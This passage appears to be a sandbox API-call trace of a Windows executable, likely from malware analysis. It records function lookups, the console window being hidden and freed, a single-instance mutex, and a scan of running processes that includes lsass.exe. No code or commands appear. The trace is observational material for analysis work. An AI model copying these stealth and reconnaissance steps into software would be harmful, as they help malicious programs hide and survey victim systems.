lpLCData=0x19fc40, cchData=2 | out: lpLCData="/") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x19fa04, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fa04, cchData=256 | out: lpLCData="1") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x19fa04, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fa04, cchData=256 | out: lpLCData="1") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x19fc40, cchData=2 | out: lpLCData=":") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x19fa48, cchData=256 | out: lpLCData="AM") returned 3 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x19fa48, cchData=256 | out: lpLCData="PM") returned 3 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x19fa48, cchData=256 | out: lpLCData="0") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fa48, cchData=256 | out: lpLCData="0") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x19fa48, cchData=256 | out: lpLCData="0") returned 2 [0141.588] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x19fc40, cchData=2 | out: lpLCData=",") returned 2 [0141.588] GetModuleHandleW (lpModuleName="oleaut32.dll") returned 0x77440000 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VariantChangeTypeEx") returned 0x7745a610 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarNeg") returned 0x774a52c0 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarNot") returned 0x774a6560 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarAdd") returned 0x7747d610 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarSub") returned 0x7747e3e0 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarMul") returned 0x7747db10 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarDiv") returned 0x774a5800 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarIdiv") returned 0x774a61a0 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarMod") returned 0x774a6400 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarAnd") returned 0x77473200 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarOr") returned 0x774a6610 [0141.589] GetProcAddress (hModule=0x77440000, lpProcName="VarXor") returned 0x774a67b0 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarCmp") returned 0x774660b0 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarI4FromStr") returned 0x77466ec0 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarR4FromStr") returned 0x77473010 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarR8FromStr") returned 0x77473630 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarDateFromStr") returned 0x77468b90 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarCyFromStr") returned 0x77452d90 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarBoolFromStr") returned 0x774648f0 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromCy") returned 0x77467f50 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromDate") returned 0x774689c0 [0141.590] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrFromBool") returned 0x774648a0 [0141.590] VarBstrFromBool (in: boolIn=0, lcid=0x400, dwFlags=0x0, pbstrOut=0x19fd80 | out: pbstrOut=0x19fd80*="False") returned 0x0 [0141.591] CharLowerBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="false") returned 0x5 [0141.591] CharUpperBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="FALSE") returned 0x5 [0141.591] VarBstrFromBool (in: boolIn=1, lcid=0x400, dwFlags=0x0, pbstrOut=0x19fd80 | out: pbstrOut=0x19fd80*="True") returned 0x0 [0141.591] CharLowerBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="true") returned 0x4 [0141.591] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0141.591] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1e8 [0141.591] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1ec [0141.591] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1f0 [0141.591] LoadStringW (in: hInstance=0x400000, uID=0xff3a, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid time Offset string: %s") returned 0x1e [0141.591] LoadStringW (in: hInstance=0x400000, uID=0xff39, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid time string: %s") returned 0x17 [0141.592] LoadStringW (in: hInstance=0x400000, uID=0xff38, lpBuffer=0x19dd74, cchBufferMax=4096 | out: lpBuffer="Invalid date string: %s") returned 0x17 [0141.592] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x259f4ec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeConditionVariable", lpUsedDefaultChar=0x0) returned 27 [0141.592] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeConditionVariable") returned 0x779d3a00 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x2598244, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeConditionVariable", lpUsedDefaultChar=0x0) returned 21 [0141.592] GetProcAddress (hModule=0x772d0000, lpProcName="WakeConditionVariable") returned 0x77a48c50 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x259f4ec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeAllConditionVariable", lpUsedDefaultChar=0x0) returned 24 [0141.592] GetProcAddress (hModule=0x772d0000, lpProcName="WakeAllConditionVariable") returned 0x779d8a90 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x259f4ec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SleepConditionVariableCS", lpUsedDefaultChar=0x0) returned 24 [0141.592] GetProcAddress (hModule=0x772d0000, lpProcName="SleepConditionVariableCS") returned 0x74d2fca0 [0141.593] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x772d0000 [0141.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x257a82c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetFileSizeEx", lpUsedDefaultChar=0x0) returned 13 [0141.593] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSizeEx") returned 0x7733ef40 [0141.593] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0141.593] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x2572e7c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0141.593] GetConsoleWindow () returned 0x602b8 [0141.608] ShowWindow (hWnd=0x602b8, nCmdShow=0) returned 0 [0141.608] FreeConsole () returned 1 [0141.609] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="OneCopyMutex") returned 0xa0 [0141.609] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0141.609] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x259f4ec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateToolhelp32Snapshot", lpUsedDefaultChar=0x0) returned 24 [0141.609] GetProcAddress (hModule=0x772d0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7731edc0 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x257a86c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListFirst", lpUsedDefaultChar=0x0) returned 15 [0141.609] GetProcAddress (hModule=0x772d0000, lpProcName="Heap32ListFirst") returned 0x7731f1a0 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListNext", lpUsedDefaultChar=0x0) returned 14 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Heap32ListNext") returned 0x7731f250 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x257a86c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32First", lpUsedDefaultChar=0x0) returned 11 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Heap32First") returned 0x7731f2f0 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x257a86c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32Next", lpUsedDefaultChar=0x0) returned 10 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Heap32Next") returned 0x7731f510 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x259f4ec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Toolhelp32ReadProcessMemory", lpUsedDefaultChar=0x0) returned 27 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Toolhelp32ReadProcessMemory") returned 0x772e8830 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32First", lpUsedDefaultChar=0x0) returned 14 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Process32First") returned 0x7731f810 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x257a86c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32Next", lpUsedDefaultChar=0x0) returned 13 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Process32Next") returned 0x7731f9a0 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0141.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x257a86c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0141.610] GetProcAddress (hModule=0x772d0000, lpProcName="Process32FirstW") returned 0x7731f750 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Process32NextW") returned 0x7731f8f0 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x257a86c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Process32FirstW") returned 0x7731f750 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Process32NextW") returned 0x7731f8f0 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x257a86c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32First", lpUsedDefaultChar=0x0) returned 13 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Thread32First") returned 0x7731fa80 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x257a86c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32Next", lpUsedDefaultChar=0x0) returned 12 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Thread32Next") returned 0x7731fb30 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x257a86c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32First", lpUsedDefaultChar=0x0) returned 13 [0141.611] GetProcAddress (hModule=0x772d0000, lpProcName="Module32First") returned 0x7731fc90 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0141.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x257a86c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32Next", lpUsedDefaultChar=0x0) returned 12 [0141.612] GetProcAddress (hModule=0x772d0000, lpProcName="Module32Next") returned 0x7731fe30 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0141.612] GetProcAddress (hModule=0x772d0000, lpProcName="Module32FirstW") returned 0x7731fbd0 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x257a86c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0141.612] GetProcAddress (hModule=0x772d0000, lpProcName="Module32NextW") returned 0x7731fd80 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x257a86c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0141.612] GetProcAddress (hModule=0x772d0000, lpProcName="Module32FirstW") returned 0x7731fbd0 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0141.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x257a86c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0141.612] GetProcAddress (hModule=0x772d0000, lpProcName="Module32NextW") returned 0x7731fd80 [0141.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x9c [0141.634] Process32FirstW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.635] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.636] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.636] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.637] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.637] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.638] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.638] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.639] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.639] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.640] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.641] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.641] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.642] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, 